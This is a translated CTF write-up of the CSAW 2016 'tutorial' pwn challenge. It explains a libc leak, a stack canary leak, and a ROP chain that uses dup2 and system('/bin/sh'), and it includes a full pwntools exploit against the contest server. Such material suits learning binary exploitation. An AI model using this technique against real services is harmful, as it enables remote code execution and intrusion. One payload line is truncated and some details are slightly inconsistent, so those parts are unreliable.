200 CSAW2016 Tutorial writeup

翻译

_well_s 于 2017-03-30 14:56:56 发布 745 收藏
分类专栏： CTF 文章标签： 安全 writeup

拿到程序，运行后直接段错误

打开ida看看怎么回事

```
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){
v15 = *MK_FP(__FS__, 40LL);
  optval = 1;
  sigemptyset(&v4);
  fd = socket(2, 1, 0);
  if ( fd == -1 )
  {
    perror("socket");
    exit(-1);
  }
  bzero(&s, 0x10uLL);
  if ( setsockopt(fd, 1, 2, &optval, 4u) == -1 )
  {
    perror("setsocket");
    exit(-1);
  }
  s = 2;
  v13 = htonl(0);
  v3 = atoi(a2[1]);
  v12 = htons(v3);
  if ( bind(fd, &s, 0x10u) == -1 )
  {
    perror("bind");
    exit(-1);
  }
  if ( listen(fd, 20) == -1 )
  {
    perror("listen");
    exit(-1);
  }
}
```

从main函数里看到运行tutorial需要给它绑定一个有效端口号

所以，应该这样运行./tutorial 1234

```
λ nc localhost 1234
-Tutorial-
1.Manual
2.Practice
3.Quit
>1
Reference:0x7fa99023e0d0
-Tutorial-
1.Manual
2.Practice
3.Quit
>2
Time to test your exploit...
>asfsdfadsfadsfadsfsdadsdfasdfa
asfsdfadsfadsfadsfsdadsdfasdfa

  J ~    y-Tutorial-
1.Manual
2.Practice
3.Quit
```

看起来地址0x7fa99023e0d0存在着某种泄露，另一个发泄漏可能发生在选项2里面，当尝试显示一些非ascii字符的时候。
看一下reference这个函数的代码

```
_int64 __fastcall reference(int a1){
  char *v1; // ST18_8@1
  char s; // [rsp+20h] [rbp-40h]@1
  __int64 v4; // [rsp+58h] [rbp-8h]@1
v4 = *MK_FP(__FS__, 40LL);
  v1 = dlsym(0xFFFFFFFFFFFFFFFFLL, "puts");
  write(a1, "Reference:", 0xAuLL);
  sprintf(&s, "%p\n", v1 - 1280); // 1280 = 0x500
  write(a1, &s, 0xFuLL);
  return *MK_FP(__FS__, 40LL) ^ v4;
}
```

从反汇编代码里面可以看出，puts函数被泄露，这意味着我们可以计算出libc的基地址.这是个标准的泄露libc的流程，很舒服。

第二个内存泄露发生可能在选项2里，因为输出了一些不可读的文字

```
test_exploit(int a1){
  char overwrite_me; // [rsp+10h] [rbp-140h]@1
  __int64 v3; // [rsp+148h] [rbp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
  bzero(&overwrite_me, 0x12CuLL);
  write(a1, "Time to test your exploit...\n", 035uLL);
  write(a1, ">", 1uLL);
  read(a1, &overwrite_me, 460uLL);
  write(a1, &overwrite_me, 324uLL);
  return *MK_FP(__FS__, 40LL) ^ v3;
}
```

看这个函数里，overwrite_me读了460个字节，但是后面只写了324个字节，有130多个字节的内存可以在覆写canary后利用

理一下exploit思路

1.从选项1中泄露libc的基地址信息

2.从选项2中找到canary

3.从选项2中覆写canary,填充payload

payload构造结构：312*'A'+canary+'A'*8+[pop_rdi_ret]+[/bin/sh]+[system]

需要找一个pop_rdi_ret，rdi传递'/bin/sh'这个参数到system函数

通过本地调试，我们可以借助上面的框架很容易地获得shell，但该shell仅出现在edb自己的终端窗口中，而无法返回到远程连接的shell窗口中，原因在于需要通过dup2函数来把标准输入输出重定向到socket，否则只是在服务端调用了system，而无法返回连接到客户端shell。

在这里，首先需要通过dup2这个函数来关闭现有的stdin和stdout，并将stdin和stdout重定向到socket上，即dup2(0,4)和dup2(1,4)，其中，0代表stdin，1代表stdout，4代表socket。dup2函数地址的获取方法同system。

dup2有两个参数，需要找一个pop rsi这样的gadget.

所以最后的结构如下：

```
312*'A'+canary+'A'*8+[pop_rdi_ret]+0x4+[pop_rsi_ret]+0x0+[dup2]+[pop_rdi_ret]+0x4+[pop_rsi_ret]+0x1+[dup2]+[po
```

```
from pwn import *
context(arch='amd64', os='linux')
context.log_level =False
binary      = ELF('tutorial')
libc        = ELF('libc-2.19.so') #used to by rop
canary      = 0x0
conn        = remote('pwn.chal.csaw.io', 8002)
def calcLibcAddress():
    conn.recvuntil('>')
    conn.sendline('1'); ## this will
    puts_addr = conn.recvline().split(':')[1]
    #do string manipulation, 0x500 was subtracted from puts in the binary
    puts_addr = int(puts_addr, 16) + 0x500
    #god damn pwn tools is nice.
    libc.address = puts_addr - libc.symbols['puts']
    print ('\nLibc Address: 0x%x\n\n' % libc.address)
#======LETS FIND THE CANARY========
def getCanary():
    conn.recvuntil(">")
    conn.sendline('2')
    conn.recvuntil('>')
    #send empty line
    conn.sendline()
    #get the crap
    canary = conn.recv(0x144)[0x138:0x138 + 0x8]
    print ("\nCanary: 0x%s \n\n" % canary.encode('hex') )
    return canary
#========I'M SALIVATING  ========
def honeyGetMeTheRop():
    rop = ROP([binary, libc])
    # dup2 will be used to redirect stdin/out to the socket
#uses the two binarys to build rop chains
    #rop.raw() is used to build stack frames
    # dup2(4, 0)
    rop.raw(rop.find_gadget(['pop rdi', 'ret']))
```

```
    rop.raw(0x4)
    rop.raw(rop.find_gadget(['pop rsi', 'ret']))
    rop.raw(0x0)
    rop.raw(libc.symbols['dup2'])
# dup2(4, 1)
    rop.raw(rop.find_gadget(['pop rsi', 'ret']))
    rop.raw(0x1)
    rop.raw(libc.symbols['dup2'])
    FLAGS_OUT_FOR_HARAM_BASH = next(libc.search('/bin/sh'))
    rop.system(FLAGS_OUT_FOR_HARAM_BASH)
    return rop
##==========HONEY I OVERWROTE THE KIDS============
def theKidsWereMemoryLeaksAnyways(canary, rop):
    conn.recvuntil('>')
    conn.sendline('2')
    conn.recvuntil('>')
    #0x138 = 312 & 312/4 = 78
    exploit = 'Meme' * 78 + canary + 'Meme' *2 + bytes(rop)
    conn.sendline(exploit)
    conn.interactive()
if __name__ == "__main__":
    calcLibcAddress()
    canary = getCanary()
    rop = honeyGetMeTheRop()
    theKidsWereMemoryLeaksAnyways(canary, rop)
```